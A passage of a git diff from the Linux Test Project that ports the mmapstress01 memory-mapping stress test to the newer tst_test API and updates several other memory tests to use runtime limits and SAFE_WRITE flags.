nprocs [-t minutes -f filesize -S sparseoffset - * -r -o -m -l -d] - * where: - * -p nprocs - specifies the number of mapping children - * to create. (nprocs + 1 children actually - * get created, since one is the writer child) - * -t minutes - specifies minutes to run. If not specified, - * default is to run forever until a SIGINT - * is received. - * -f filesize - initial filesize (defaults to FILESIZE) - * -S sparseoffset - when non-zero, causes a sparse area to - * be left before the data, meaning that the - * actual initial file size is sparseoffset + - * filesize. Useful for testing large files. - * (default is 0). - * -r - randomize number of pages map children check. - * (random % MAXLOOPS). If not specified, each - * child checks MAXLOOPS pages. - * -o - randomize offset of file to map. (default is 0) - * -m - do random msync/fsyncs as well - * -l - if set, the output file is not removed on - * program exit. - * -d - enable debug output - * - * Compile with -DLARGE_FILE to enable file sizes > 2 GB. - */ - +#include +#include "tst_test.h" + +#if _FILE_OFFSET_BITS == 64 +# define FSIZE_MIN LONG_MIN +# define FSIZE_MAX LONG_MAX +#else +# define FSIZE_MIN INT_MIN +# define FSIZE_MAX INT_MAX +#endif #define MAXLOOPS 500 /* max pages for map children to write */ -#define FILESIZE 4096 /* initial filesize set up by parent */ +#define TEST_FILE "mmapstress01.out" #ifdef roundup #undef roundup #endif #define roundup(x, y) ((((x)+((y)-1))/(y))*(y)) -#define min(x, y) (((x) < (y)) ? (x) : (y)) - -extern time_t time(time_t *); -extern char *ctime(const time_t *); -extern void *malloc(size_t); -extern long lrand48(void); -extern void srand(unsigned); -extern void srand48(long); -extern int rand(void); -extern int atoi(const char *); - -char *usage = - "-p nprocs [-t minutes -f filesize -S sparseoffset -r -o -m -l -d]"; - -typedef unsigned char uchar_t; -#define SIZE_MAX UINT_MAX - -unsigned int initrand(void); -void finish(int sig); -void child_mapper(char *file, unsigned procno, unsigned nprocs); -int fileokay(char *file, uchar_t * expbuf); -int finished = 0; -int leavefile = 0; - -int debug = 0; -#ifdef LARGE_FILE -off64_t filesize = FILESIZE; -off64_t sparseoffset = 0; -#else /* LARGE_FILE */ -off_t filesize = FILESIZE; -off_t sparseoffset = 0; -#endif /* LARGE_FILE */ -unsigned randloops = 0; -unsigned dosync = 0; -unsigned do_offset = 0; -unsigned pattern = 0; - -int main(int argc, char *argv[]) + +static unsigned int initrand(void); +static void sighandler(int); + +static char *debug; +static char *do_sync; +static char *do_offset; +static char *opt_filesize; +static char *opt_nprocs; +static char *opt_pattern; +static char *opt_sparseoffset; +static char *randloops; + +static int fd; +static volatile int finished; +static int nprocs; +static long long filesize = 4096; +static long long sparseoffset; +static size_t pagesize; +static int pattern; + +static void setup(void) { - char *progname; - int fd; - int c; - extern char *optarg; - unsigned nprocs = 0; - unsigned procno; - pid_t *pidarray = NULL; - pid_t pid; - uchar_t *buf = NULL; - unsigned int seed; - int pagesize = sysconf(_SC_PAGE_SIZE); - float alarmtime = 0; struct sigaction sa; - unsigned i; - int write_cnt; - uchar_t data; - int no_prob = 0; - int wait_stat; - time_t t; -#ifdef LARGE_FILE - off64_t bytes_left; -#else /* LARGE_FILE */ - off_t bytes_left; -#endif /* LARGE_FILE */ - const char *filename = "mmapstress01.out"; - - progname = *argv; - tst_tmpdir(); - if (argc < 2) { - tst_brkm(TBROK, NULL, "usage: %s %s", progname, usage); - } - while ((c = getopt(argc, argv, "S:omdlrf:p:t:")) != -1) { - switch (c) { - case 'd': - debug = 1; - break; - case 't': - alarmtime = atof(optarg) * 60; - break; - case 'p': - nprocs = atoi(optarg); - break; - case 'l': - leavefile = 1; - break; - case 'f': -#ifdef LARGE_FILE - filesize = atoll(optarg); -#else /* LARGE_FILE */ - filesize = atoi(optarg); -#endif /* LARGE_FILE */ - if (filesize < 0) { - (void)fprintf(stderr, "error: negative " - "filesize\n"); - anyfail(); - } - break; - case 'r': - randloops = 1; - break; - case 'm': - dosync = 1; - break; - case 'o': - do_offset = 1; - break; - case 'S': -#ifdef LARGE_FILE - sparseoffset = atoll(optarg); -#else /* LARGE_FILE */ - sparseoffset = atoi(optarg); -#endif /* LARGE_FILE */ - if (sparseoffset % pagesize != 0) { - fprintf(stderr, - "sparseoffset must be pagesize multiple\n"); - anyfail(); - } - break; - default: - (void)fprintf(stderr, "usage: %s %s\n", progname, - usage); - tst_exit(); - } - } - - /* nprocs is >= 0 since it's unsigned */ - if (nprocs > 255) { - (void)fprintf(stderr, "invalid nprocs %d - (range 0-255)\n", - nprocs); - anyfail(); - } - - (void)time(&t); - - seed = initrand(); - pattern = seed & 0xff; - - if (debug) { -#ifdef LARGE_FILE - (void)printf("creating file <%s> with %Ld bytes, pattern %d\n", - filename, filesize, pattern); -#else /* LARGE_FILE */ - (void)printf("creating file <%s> with %ld bytes, pattern %d\n", - filename, filesize, pattern); -#endif /* LARGE_FILE */ - if (alarmtime) - (void)printf("running for %f minutes\n", - alarmtime / 60); - else - (void)printf("running with no time limit\n"); - } - - /* - * Plan for death by signal. User may have specified - * a time limit, in which set an alarm and catch SIGALRM. - * Also catch and cleanup with SIGINT. - */ - sa.sa_handler = finish; + sa.sa_handler = sighandler; sa.sa_flags = 0; - if (sigemptyset(&sa.sa_mask)) { - perror("sigemptyset error"); - goto cleanup; - } - - if (sigaction(SIGINT, &sa, 0) == -1) { - perror("sigaction error SIGINT"); - goto cleanup; - } - if (sigaction(SIGQUIT, &sa, 0) == -1) { - perror("sigaction error SIGQUIT"); - goto cleanup; - } - if (sigaction(SIGTERM, &sa, 0) == -1) { - perror("sigaction error SIGTERM"); - goto cleanup; - } - - if (alarmtime) { - if (sigaction(SIGALRM, &sa, 0) == -1) { - perror("sigaction error"); - goto cleanup; - } - (void)alarm(alarmtime); - } -#ifdef LARGE_FILE - if ((fd = open64(filename, O_CREAT | O_TRUNC | O_RDWR, 0664)) == -1) { -#else /* LARGE_FILE */ - if ((fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0664)) == -1) { -#endif /* LARGE_FILE */ - perror("open error"); - anyfail(); - } - - if ((buf = malloc(pagesize)) == NULL - || (pidarray = malloc(nprocs * sizeof(pid_t))) == NULL) { - perror("malloc error"); - anyfail(); - } - - for (i = 0; i < nprocs; i++) - *(pidarray + i) = 0; - - for (i = 0, data = 0; i < pagesize; i++) { - *(buf + i) = (data + pattern) & 0xff; - if (++data == nprocs) - data = 0; - } -#ifdef LARGE_FILE - if (lseek64(fd, sparseoffset, SEEK_SET) < 0) { -#else /* LARGE_FILE */ - if (lseek(fd, sparseoffset, SEEK_SET) < 0) { -#endif /* LARGE_FILE */ - perror("lseek"); - anyfail(); - } - for (bytes_left = filesize; bytes_left; bytes_left -= c) { - write_cnt = min(pagesize, bytes_left); - if ((c = write(fd, buf, write_cnt)) != write_cnt) { - if (c == -1) { - perror("write error"); - } else { - (void)fprintf(stderr, "write: wrote %d of %d " - "bytes\n", c, write_cnt); - } - (void)close(fd); - (void)unlink(filename); - anyfail(); - } - } - - (void)close(fd); - - /* - * Fork off mmap children. - */ - for (procno = 0; procno < nprocs; procno++) { - switch (pid = fork()) { - - case -1: - perror("fork error"); - goto cleanup; - - case 0: - child_mapper(filename, procno, nprocs); - exit(0); - - default: - pidarray[procno] = pid; - } - } - - /* - * Now wait for children and refork them as needed. - */ - - while (!finished) { - pid = wait(&wait_stat); - /* - * Block signals while processing child exit. - */ - - if (sighold(SIGALRM) || sighold(SIGINT)) { - perror("sighold error"); - goto cleanup; - } - - if (pid != -1) { - /* - * Check exit status, then refork with the - * appropriate procno. - */ - if (!WIFEXITED(wait_stat) - || WEXITSTATUS(wait_stat) != 0) { - (void)fprintf(stderr, "child exit with err " - "\n", wait_stat); - goto cleanup; - } - for (i = 0; i < nprocs; i++) - if (pid == pidarray[i]) - break; - if (i == nprocs) { - (void)fprintf(stderr, "unknown child pid %d, " - "\n", pid, wait_stat); - goto cleanup; - } - - if ((pid = fork()) == -1) { - perror("fork error"); - pidarray[i] = 0; - goto cleanup; - } else if (pid == 0) { /* child */ - child_mapper(filename, i, nprocs); - exit(0); - } else - pidarray[i] = pid; - } else { - /* - * wait returned an error. If EINTR, then - * normal finish, else it's an unexpected - * error... - */ - if (errno != EINTR || !finished) { - perror("unexpected wait error"); - goto cleanup; - } - } - if (sigrelse(SIGALRM) || sigrelse(SIGINT)) { - perror("sigrelse error"); - goto cleanup; - } - } - - /* - * Finished! Check the file for sanity, then kill all - * the children and done!. - */ - - if (sighold(SIGALRM)) { - perror("sighold error"); - goto cleanup; - } - (void)alarm(0); - no_prob = 1; - -cleanup: - for (i = 0; i < nprocs; i++) - (void)kill(pidarray[i], SIGKILL); - - while (wait(&wait_stat) != -1 || errno != ECHILD) - continue; - - if (no_prob) { /* only check file if no errors */ - if (!fileokay(filename, buf)) { - (void)fprintf(stderr, "file data incorrect!\n"); - (void)printf(" leaving file <%s>\n", filename); - /***** LTP Port *****/ - local_flag = FAILED; - anyfail(); - /***** ** *****/ - } else { - (void)printf("file data okay\n"); - if (!leavefile) - (void)unlink(filename); - } - } else - (void)printf(" leaving file <%s>\n", filename); + SAFE_SIGEMPTYSET(&sa.sa_mask); + SAFE_SIGACTION(SIGINT, &sa, 0); + SAFE_SIGACTION(SIGQUIT, &sa, 0); + SAFE_SIGACTION(SIGTERM, &sa, 0); + SAFE_SIGACTION(SIGALRM, &sa, 0); + + pagesize = sysconf(_SC_PAGE_SIZE); + + if (tst_parse_filesize(opt_filesize, &filesize, 0, FSIZE_MAX)) + tst_brk(TBROK, "invalid initial filesize '%s'", opt_filesize); + + if (tst_parse_filesize(opt_sparseoffset, &sparseoffset, FSIZE_MIN, FSIZE_MAX)) + tst_brk(TBROK, "invalid sparse offset '%s'", opt_sparseoffset); + if (sparseoffset % pagesize != 0) + tst_brk(TBROK, "sparseoffset must be pagesize multiple"); + + if (tst_parse_int(opt_nprocs, &nprocs, 0, 255)) + tst_brk(TBROK, "invalid number of mapping children '%s'", + opt_nprocs); + if (!opt_nprocs) + nprocs = MAX(MIN(tst_ncpus() - 1L, 20L), 1L); + + if (tst_parse_int(opt_pattern, &pattern, 0, 255)) + tst_brk(TBROK, "invalid pattern '%s'", opt_pattern); + if (!opt_pattern) + pattern = initrand() & 0xff; + + tst_res(TINFO, "creating file <%s> with %lld bytes, pattern %d", + TEST_FILE, filesize, pattern); +} - (void)time(&t); - //(void)printf("%s: Finished %s", argv[0], ctime(&t)); LTP Port - ok_exit(); - tst_exit(); +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); } /* - * Child process that reads/writes map. The child stats the file - * to determine the size, maps the size of the file, then reads/writes - * its own locations on random pages of the map (its locations being - * determined based on nprocs & procno). After a specific number of - * iterations, it exits. + * Child process that reads/writes map. The child stats the file + * to determine the size, maps the size of the file, then reads/writes + * its own locations on random pages of the map (its locations being + * determined based on nprocs & procno). After a specific number of + * iterations, it exits. */ -void child_mapper(char *file, unsigned procno, unsigned nprocs) +static void child_mapper(char *file, unsigned int procno, unsigned int nprocs) { -#ifdef LARGE_FILE - struct stat64 statbuf; - off64_t filesize; - off64_t offset; -#else /* LARGE_FILE */ struct stat statbuf; off_t filesize; off_t offset; -#endif /* LARGE_FILE */ size_t validsize; size_t mapsize; char *maddr = NULL, *paddr; - int fd; - size_t pagesize = sysconf(_SC_PAGE_SIZE); - unsigned randpage; + unsigned int randpage; unsigned int seed; - unsigned loopcnt; - unsigned nloops; - unsigned mappages; - unsigned i; - - seed = initrand(); /* initialize random seed */ - -#ifdef LARGE_FILE - if (stat64(file, &statbuf) == -1) { -#else /* LARGE_FILE */ - if (stat(file, &statbuf) == -1) { -#endif /* LARGE_FILE */ - perror("stat error"); - anyfail(); - } + unsigned int loopcnt; + unsigned int nloops; + unsigned int mappages; + unsigned int i; + + seed = initrand(); + + SAFE_STAT(file, &statbuf); filesize = statbuf.st_size; -#ifdef LARGE_FILE - if ((fd = open64(file, O_RDWR)) == -1) { -#else /* LARGE_FILE */ - if ((fd = open(file, O_RDWR)) == -1) { -#endif /* LARGE_FILE */ - perror("open error"); - anyfail(); - } + fd = SAFE_OPEN(file, O_RDWR); - if (statbuf.st_size - sparseoffset > SIZE_MAX) { - fprintf(stderr, "size_t overflow when setting up map\n"); - anyfail(); - } + if (statbuf.st_size - sparseoffset > UINT_MAX) + tst_brk(TBROK, "size_t overflow when setting up map"); mapsize = (size_t) (statbuf.st_size - sparseoffset); mappages = roundup(mapsize, pagesize) / pagesize; offset = sparseoffset; if (do_offset) { int pageoffset = lrand48() % mappages; int byteoffset = pageoffset * pagesize; + offset += byteoffset; mapsize -= byteoffset; mappages -= pageoffset; } nloops = (randloops) ? (lrand48() % MAXLOOPS) : MAXLOOPS; - if (debug) { -#ifdef LARGE_FILE - (void)printf("child %d (pid %ld): seed %d, fsize %Ld, " - "mapsize %d, off %Ld, loop %d\n", - procno, getpid(), seed, filesize, mapsize, - offset / pagesize, nloops); -#else /* LARGE_FILE */ - (void)printf("child %d (pid %d): seed %d, fsize %ld, " - "mapsize %ld, off %ld, loop %d\n", - procno, getpid(), seed, filesize, (long)mapsize, - offset / pagesize, nloops); -#endif /* LARGE_FILE */ - } -#ifdef LARGE_FILE - if ((maddr = mmap64(0, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, - fd, offset)) == (caddr_t) - 1) { -#else /* LARGE_FILE */ - if ((maddr = mmap(0, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, - fd, offset)) == (caddr_t) - 1) { -#endif /* LARGE_FILE */ - perror("mmap error"); - anyfail(); - } + if (debug) + tst_res(TINFO, "child %d (pid %d): seed %d, fsize %lld, mapsize %ld, off %lld, loop %d", + procno, getpid(), seed, (long long)filesize, + (long)mapsize, (long long)offset / pagesize, nloops); - (void)close(fd); + maddr = SAFE_MMAP(0, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, + offset); + SAFE_CLOSE(fd); - /* - * Now loop read/writing random pages. - */ for (loopcnt = 0; loopcnt < nloops; loopcnt++) { randpage = lrand48() % mappages; paddr = maddr + (randpage * pagesize); /* page address */ @@ -555,185 +178,191 @@ void child_mapper(char *file, unsigned procno, unsigned nprocs) for (i = procno; i < validsize; i += nprocs) { if (*((unsigned char *)(paddr + i)) - != ((procno + pattern) & 0xff)) { - (void)fprintf(stderr, "child %d: invalid data " - "", procno, - *((unsigned char *)(paddr + i))); - (void)fprintf(stderr, " at pg %d off %d, exp " - "\n", randpage, i, - (procno + pattern) & 0xff); - anyfail(); - } + != ((procno + pattern) & 0xff)) + tst_brk(TFAIL, "child %d: invalid data \n" + " at pg %d off %d, exp ", procno, + *((unsigned char *)(paddr + i)), + randpage, i, (procno + pattern) & 0xff); - /* - * Now write it. - */ *(paddr + i) = (procno + pattern) & 0xff; } } - if (dosync) { - /* - * Exercise msync() as well! - */ + if (do_sync) { randpage = lrand48() % mappages; paddr = maddr + (randpage * pagesize); /* page address */ if (msync(paddr, (mappages - randpage) * pagesize, - MS_SYNC) == -1) { - anyfail(); - } - } - if (munmap(maddr, mapsize) == -1) { - perror("munmap failed"); - local_flag = FAILED; - anyfail(); + MS_SYNC) == -1) + tst_brk(TBROK | TERRNO, "msync failed"); } + SAFE_MUNMAP(maddr, mapsize); exit(0); } -/* - * Make sure file has all the correct data. - */ -int fileokay(char *file, uchar_t * expbuf) +/* Make sure file has all the correct data. */ +static void fileokay(char *file, unsigned char *expbuf) { -#ifdef LARGE_FILE - struct stat64 statbuf; -#else /* LARGE_FILE */ - struct stat statbuf; -#endif /* LARGE_FILE */ - size_t mapsize; - unsigned mappages; - unsigned pagesize = sysconf(_SC_PAGE_SIZE); - uchar_t readbuf[pagesize]; - int fd; int cnt; - unsigned i, j; - -#ifdef LARGE_FILE - if ((fd = open64(file, O_RDONLY)) == -1) { -#else /* LARGE_FILE */ - if ((fd = open(file, O_RDONLY)) == -1) { -#endif /* LARGE_FILE */ - perror("open error"); - /***** LTP Port *****/ - local_flag = FAILED; - anyfail(); - /***** ** *****/ - return 0; - } -#ifdef LARGE_FILE - if (fstat64(fd, &statbuf) == -1) { -#else /* LARGE_FILE */ - if (fstat(fd, &statbuf) == -1) { -#endif /* LARGE_FILE */ - perror("stat error"); - /***** LTP Port *****/ - local_flag = FAILED; - anyfail(); - /***** ** *****/ - return 0; - } -#ifdef LARGE_FILE - if (lseek64(fd, sparseoffset, SEEK_SET) < 0) { -#else /* LARGE_FILE */ - if (lseek(fd, sparseoffset, SEEK_SET) < 0) { -#endif /* LARGE_FILE */ - perror("lseek"); - anyfail(); - } + size_t mapsize; + struct stat statbuf; + unsigned char readbuf[pagesize]; + unsigned int i, j; + unsigned int mappages; - if (statbuf.st_size - sparseoffset > SIZE_MAX) { - fprintf(stderr, "size_t overflow when setting up map\n"); - anyfail(); - } + fd = SAFE_OPEN(file, O_RDONLY); + + SAFE_FSTAT(fd, &statbuf); + SAFE_LSEEK(fd, sparseoffset, SEEK_SET); + + if (statbuf.st_size - sparseoffset > UINT_MAX) + tst_brk(TBROK, "size_t overflow when setting up map"); mapsize = (size_t) (statbuf.st_size - sparseoffset); mappages = roundup(mapsize, pagesize) / pagesize; for (i = 0; i < mappages; i++) { - cnt = read(fd, readbuf, pagesize); - if (cnt == -1) { - perror("read error"); - /***** LTP Port *****/ - local_flag = FAILED; - anyfail(); - /***** ** *****/ - return 0; - } else if (cnt != pagesize) { - /* - * Okay if at last page in file... - */ - if ((i * pagesize) + cnt != mapsize) { - (void)fprintf(stderr, "read %d of %ld bytes\n", - (i * pagesize) + cnt, - (long)mapsize); - close(fd); - return 0; - } + cnt = SAFE_READ(0, fd, readbuf, pagesize); + if ((unsigned int)cnt != pagesize) { + /* Okay if at last page in file... */ + if ((i * pagesize) + cnt != mapsize) + tst_brk(TFAIL, "missing data: read %lu of %ld bytes", + (i * pagesize) + cnt, (long)mapsize); } - /* - * Compare read bytes of data. - */ - for (j = 0; j < cnt; j++) { - if (expbuf[j] != readbuf[j]) { - (void)fprintf(stderr, - "read bad data: exp %c got %c)", - expbuf[j], readbuf[j]); -#ifdef LARGE_FILE - (void)fprintf(stderr, ", pg %d off %d, " - "(fsize %Ld)\n", i, j, - statbuf.st_size); -#else /* LARGE_FILE */ - (void)fprintf(stderr, ", pg %d off %d, " - "(fsize %ld)\n", i, j, - statbuf.st_size); -#endif /* LARGE_FILE */ - close(fd); - return 0; - } + /* Compare read bytes of data. */ + for (j = 0; j < (unsigned int)cnt; j++) { + if (expbuf[j] != readbuf[j]) + tst_brk(TFAIL, + "read bad data: exp %c got %c, pg %d off %d, (fsize %lld)", + expbuf[j], readbuf[j], i, j, + (long long)statbuf.st_size); } } - close(fd); - - return 1; + SAFE_CLOSE(fd); } - /*ARGSUSED*/ void finish(int sig) +static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { finished++; - return; } -unsigned int initrand(void) +static unsigned int initrand(void) { unsigned int seed; /* - * Initialize random seed... Got this from a test written - * by scooter: - * Use srand/rand to diffuse the information from the - * time and pid. If you start several processes, then - * the time and pid information don't provide much - * variation. + * Use srand/rand to diffuse the information from the + * time and pid. If you start several processes, then + * the time and pid information don't provide much + * variation. */ srand((unsigned int)getpid()); seed = rand(); srand((unsigned int)time(NULL)); seed = (seed ^ rand()) % 100000; - srand48((long int)seed); - return (seed); + srand48((long)seed); + return seed; } -/***** LTP Port *****/ -void ok_exit(void) +static void run(void) { - tst_resm(TPASS, "Test passed"); - tst_rmdir(); - tst_exit(); -} + int c; + int i; + int wait_stat; + off_t bytes_left; + pid_t pid; + pid_t *pidarray; + size_t write_cnt; + unsigned char data; + unsigned char *buf; -int anyfail(void) -{ - tst_brkm(TFAIL, tst_rmdir, "Test failed"); + alarm(tst_remaining_runtime()); + + finished = 0; + fd = SAFE_OPEN(TEST_FILE, O_CREAT | O_TRUNC | O_RDWR, 0664); + buf = SAFE_MALLOC(pagesize); + pidarray = SAFE_MALLOC(nprocs * sizeof(pid_t)); + + for (i = 0; i < nprocs; i++) + *(pidarray + i) = 0; + + for (i = 0, data = 0; i < (int)pagesize; i++) { + *(buf + i) = (data + pattern) & 0xff; + if (++data == nprocs) + data = 0; + } + SAFE_LSEEK(fd, (off_t)sparseoffset, SEEK_SET); + for (bytes_left = filesize; bytes_left; bytes_left -= c) { + write_cnt = MIN((long long)pagesize, (long long)bytes_left); + c = SAFE_WRITE(1, fd, buf, write_cnt); + } + SAFE_CLOSE(fd); + + for (i = 0; i < nprocs; i++) { + pid = SAFE_FORK(); + + if (pid == 0) { + child_mapper(TEST_FILE, (unsigned int)i, (unsigned int)nprocs); + exit(0); + } else { + pidarray[i] = pid; + } + } + + while (!finished) { + pid = wait(&wait_stat); + if (pid != -1) { + if (!WIFEXITED(wait_stat) + || WEXITSTATUS(wait_stat) != 0) + tst_brk(TBROK, "child exit with err ", + wait_stat); + for (i = 0; i < nprocs; i++) + if (pid == pidarray[i]) + break; + if (i == nprocs) + tst_brk(TBROK, "unknown child pid %d, ", + pid, wait_stat); + + pid = SAFE_FORK(); + if (pid == 0) { + child_mapper(TEST_FILE, (unsigned int)i, (unsigned int)nprocs); + exit(0); + } else { + pidarray[i] = pid; + } + } else { + if (errno != EINTR || !finished) + tst_brk(TBROK | TERRNO, + "unexpected wait error"); + } + } + alarm(0); + + fileokay(TEST_FILE, buf); + tst_res(TPASS, "file has expected data"); } -/***** ** ** *****/ +static struct tst_test test = { + .test_all = run, + .setup = setup, + .options = (struct tst_option[]) { + {"d", &debug, "Enable debug output"}, + {"f:", &opt_filesize, "Initial filesize (default 4096)"}, + {"m", &do_sync, "Do random msync/fsyncs as well"}, + {"o", &do_offset, "Randomize the offset of file to map"}, + {"p:", &opt_nprocs, + "Number of mapping children to create (default 1 < ncpus < 20)"}, + {"P:", &opt_pattern, + "Use a fixed pattern (default random)"}, + {"r", &randloops, + "Randomize number of pages map children check (random % 500), " + "otherwise each child checks 500 pages"}, + {"S:", &opt_sparseoffset, + "When non-zero, causes the sparse area to be left before the data, " + "so that the actual initial filesize is sparseoffset + filesize " + "(default 0)"}, + {}, + }, + .cleanup = cleanup, + .max_runtime = 12, + .needs_tmpdir = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/mem/mmapstress/mmapstress04.c b/testcases/kernel/mem/mmapstress/mmapstress04.c index ceede7ea..d71c469b 100755 --- a/testcases/kernel/mem/mmapstress/mmapstress04.c +++ b/testcases/kernel/mem/mmapstress/mmapstress04.c @@ -32,17 +32,6 @@ static void setup(void) MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); } -static void write_fully(int fd, void *buf, int len) -{ - int ret; - - do { - ret = SAFE_WRITE(0, fd, buf, len); - buf += ret; - len -= ret; - } while (len > 0); -} - static void mmapstress04(void) { int i, j, rofd, rwfd; @@ -85,7 +74,7 @@ static void mmapstress04(void) buf = SAFE_MALLOC(page_size); memset(buf, 'a', page_size); for (i = 0; i < 6 * 64; i++) - write_fully(rwfd, buf, page_size); + SAFE_WRITE(SAFE_WRITE_RETRY, rwfd, buf, page_size); free(buf); SAFE_CLOSE(rwfd); diff --git a/testcases/kernel/mem/mmapstress/mmapstress09.c b/testcases/kernel/mem/mmapstress/mmapstress09.c index 2c710df1..0a8da000 100755 --- a/testcases/kernel/mem/mmapstress/mmapstress09.c +++ b/testcases/kernel/mem/mmapstress/mmapstress09.c @@ -78,7 +78,6 @@ void ok_exit(); #undef roundup #endif #define roundup(x, y) ((((x)+((y)-1))/(y))*(y)) -#define min(x, y) (((x) < (y)) ? (x) : (y)) extern time_t time(time_t *); extern char *ctime(const time_t *); diff --git a/testcases/kernel/mem/mmapstress/mmapstress10.c b/testcases/kernel/mem/mmapstress/mmapstress10.c index 26ea98bc..53f02c1f 100755 --- a/testcases/kernel/mem/mmapstress/mmapstress10.c +++ b/testcases/kernel/mem/mmapstress/mmapstress10.c @@ -106,7 +106,6 @@ void ok_exit(); #undef roundup #endif #define roundup(x, y) ((((x)+((y)-1))/(y))*(y)) -#define min(x, y) (((x) < (y)) ? (x) : (y)) #define SIZE_MAX UINT_MAX @@ -361,7 +360,7 @@ int main(int argc, char *argv[]) } for (bytes_left = filesize; bytes_left; bytes_left -= c) { - write_cnt = min(pagesize, bytes_left); + write_cnt = MIN(pagesize, (int)bytes_left); if ((c = write(fd, (char *)buf, write_cnt)) != write_cnt) { if (c == -1) { perror("write error"); diff --git a/testcases/kernel/mem/mtest01/mtest01.c b/testcases/kernel/mem/mtest01/mtest01.c index 20cb9519..fb991ce8 100755 --- a/testcases/kernel/mem/mtest01/mtest01.c +++ b/testcases/kernel/mem/mtest01/mtest01.c @@ -41,8 +41,6 @@ #define ALLOC_THRESHOLD (6*FIVE_HUNDRED_MB) #endif -#define STOP_THRESHOLD 15 /* seconds remaining before reaching timeout */ - static pid_t *pid_list; static sig_atomic_t children_done; static int max_pids; @@ -137,6 +135,7 @@ static void child_loop_alloc(unsigned long long alloc_bytes) { unsigned long bytecount = 0; char *mem; + int runtime_rem; tst_res(TINFO, "... child %d starting", getpid()); @@ -153,12 +152,15 @@ static void child_loop_alloc(unsigned long long alloc_bytes) if (bytecount >= alloc_bytes) break; } + + runtime_rem = tst_remaining_runtime(); + if (dowrite) tst_res(TINFO, "... [t=%d] %lu bytes allocated and used in child %d", - tst_timeout_remaining(), bytecount, getpid()); + runtime_rem, bytecount, getpid()); else tst_res(TINFO, "... [t=%d] %lu bytes allocated only in child %d", - tst_timeout_remaining(), bytecount, getpid()); + runtime_rem, bytecount, getpid()); kill(getppid(), SIGRTMIN); raise(SIGSTOP); @@ -195,10 +197,9 @@ static void mem_test(void) /* wait in the loop for all children finish allocating */ while (children_done < pid_cntr) { - if (tst_timeout_remaining() < STOP_THRESHOLD) { + if (!tst_remaining_runtime()) { tst_res(TWARN, "the remaininig time is not enough for testing"); - break; } @@ -234,6 +235,7 @@ static struct tst_test test = { {"v", &verbose, "Verbose"}, {} }, + .max_runtime = 300, .setup = setup, .cleanup = cleanup, .test_all = mem_test, diff --git a/testcases/kernel/mem/mtest06/mmap1.c b/testcases/kernel/mem/mtest06/mmap1.c index 10c47c35..907597d1 100755 --- a/testcases/kernel/mem/mtest06/mmap1.c +++ b/testcases/kernel/mem/mtest06/mmap1.c @@ -42,10 +42,8 @@ static int file_size = 1024; static int num_iter = 5000; -static float exec_time = 0.05; /* default is 3 min */ static void *distant_area; -static char *str_exec_time; static jmp_buf jmpbuf; static volatile unsigned char *map_address; static unsigned long page_sz; @@ -173,8 +171,8 @@ int mkfile(int size) SAFE_UNLINK(TEST_FILENAME); for (i = 0; i < size; i++) - SAFE_WRITE(1, fd, "a", 1); - SAFE_WRITE(1, fd, "\0", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "a", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "\0", 1); if (fsync(fd) == -1) tst_brk(TBROK | TERRNO, "fsync()"); @@ -206,17 +204,10 @@ static void setup(void) SAFE_MUNMAP(distant_area, distant_mmap_size); distant_area += distant_mmap_size / 2; - if (tst_parse_float(str_exec_time, &exec_time, 0, FLT_MAX)) { - tst_brk(TBROK, "Invalid number for exec_time '%s'", - str_exec_time); - } - sigptr.sa_sigaction = sig_handler; sigemptyset(&sigptr.sa_mask); sigptr.sa_flags = SA_SIGINFO | SA_NODEFER; SAFE_SIGACTION(SIGSEGV, &sigptr, NULL); - - tst_set_timeout((int)(exec_time * 3600)); } static void run(void) @@ -224,8 +215,8 @@ static void run(void) pthread_t thid[2]; int start, last_update; - start = last_update = tst_timeout_remaining(); - while (tst_timeout_remaining() > STOP_THRESHOLD) { + start = last_update = tst_remaining_runtime(); + while (tst_remaining_runtime()) { int fd = mkfile(file_size); tst_atomic_store(0, &mapcnt); @@ -240,11 +231,11 @@ static void run(void) close(fd); - if (last_update - tst_timeout_remaining() >= PROGRESS_SEC) { - last_update = tst_timeout_remaining(); + if (last_update - tst_remaining_runtime() >= PROGRESS_SEC) { + last_update = tst_remaining_runtime(); tst_res(TINFO, "[%03d] mapped: %lu, sigsegv hit: %lu, " "threads spawned: %lu", - start - tst_timeout_remaining(), + start - last_update, map_count, mapped_sigsegv_count, threads_spawned); tst_res(TINFO, " repeated_reads: %ld, " @@ -258,9 +249,6 @@ static void run(void) static struct tst_test test = { .test_all = run, .setup = setup, - .options = (struct tst_option[]) { - {"x:", &str_exec_time, "Exec time (hours)"}, - {} - }, + .max_runtime = 180, .needs_tmpdir = 1, }; diff --git a/testcases/kernel/mem/mtest06/mmap3.c b/testcases/kernel/mem/mtest06/mmap3.c index 23609752..19f4e33d 100755 --- a/testcases/kernel/mem/mtest06/mmap3.c +++ b/testcases/kernel/mem/mtest06/mmap3.c @@ -23,11 +23,9 @@ static char *str_loops; static char *str_threads; static char *map_private; -static char *str_exec_time; static int loops = 1000; static int threads = 40; -static float exec_time = 24; static volatile int sig_caught; static int threads_running; @@ -49,7 +47,7 @@ static int mkfile(int *size) while (index < *size) { index += sizeof(buf); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); } fsync(fd); @@ -109,7 +107,7 @@ static void test_mmap(void) long i; pthread_t thids[threads]; - alarm(exec_time * 3600); + alarm(tst_remaining_runtime()); while (!sig_caught) { for (i = 0; i < threads; i++) { @@ -138,11 +136,6 @@ static void setup(void) if (tst_parse_int(str_threads, &threads, 1, INT_MAX)) tst_brk(TBROK, "Invalid number of threads '%s'", str_threads); - if (tst_parse_float(str_exec_time, &exec_time, 0.0005, 9000)) - tst_brk(TBROK, "Invalid execution time '%s'", str_exec_time); - - tst_set_timeout(exec_time * 3600 + 300); - SAFE_SIGNAL(SIGALRM, sig_handler); SAFE_SIGNAL(SIGBUS, sig_handler); SAFE_SIGNAL(SIGSEGV, sig_handler); @@ -155,7 +148,6 @@ static void setup(void) tst_res(TINFO, "Number of loops %i", loops); tst_res(TINFO, "Number of threads %i", threads); tst_res(TINFO, 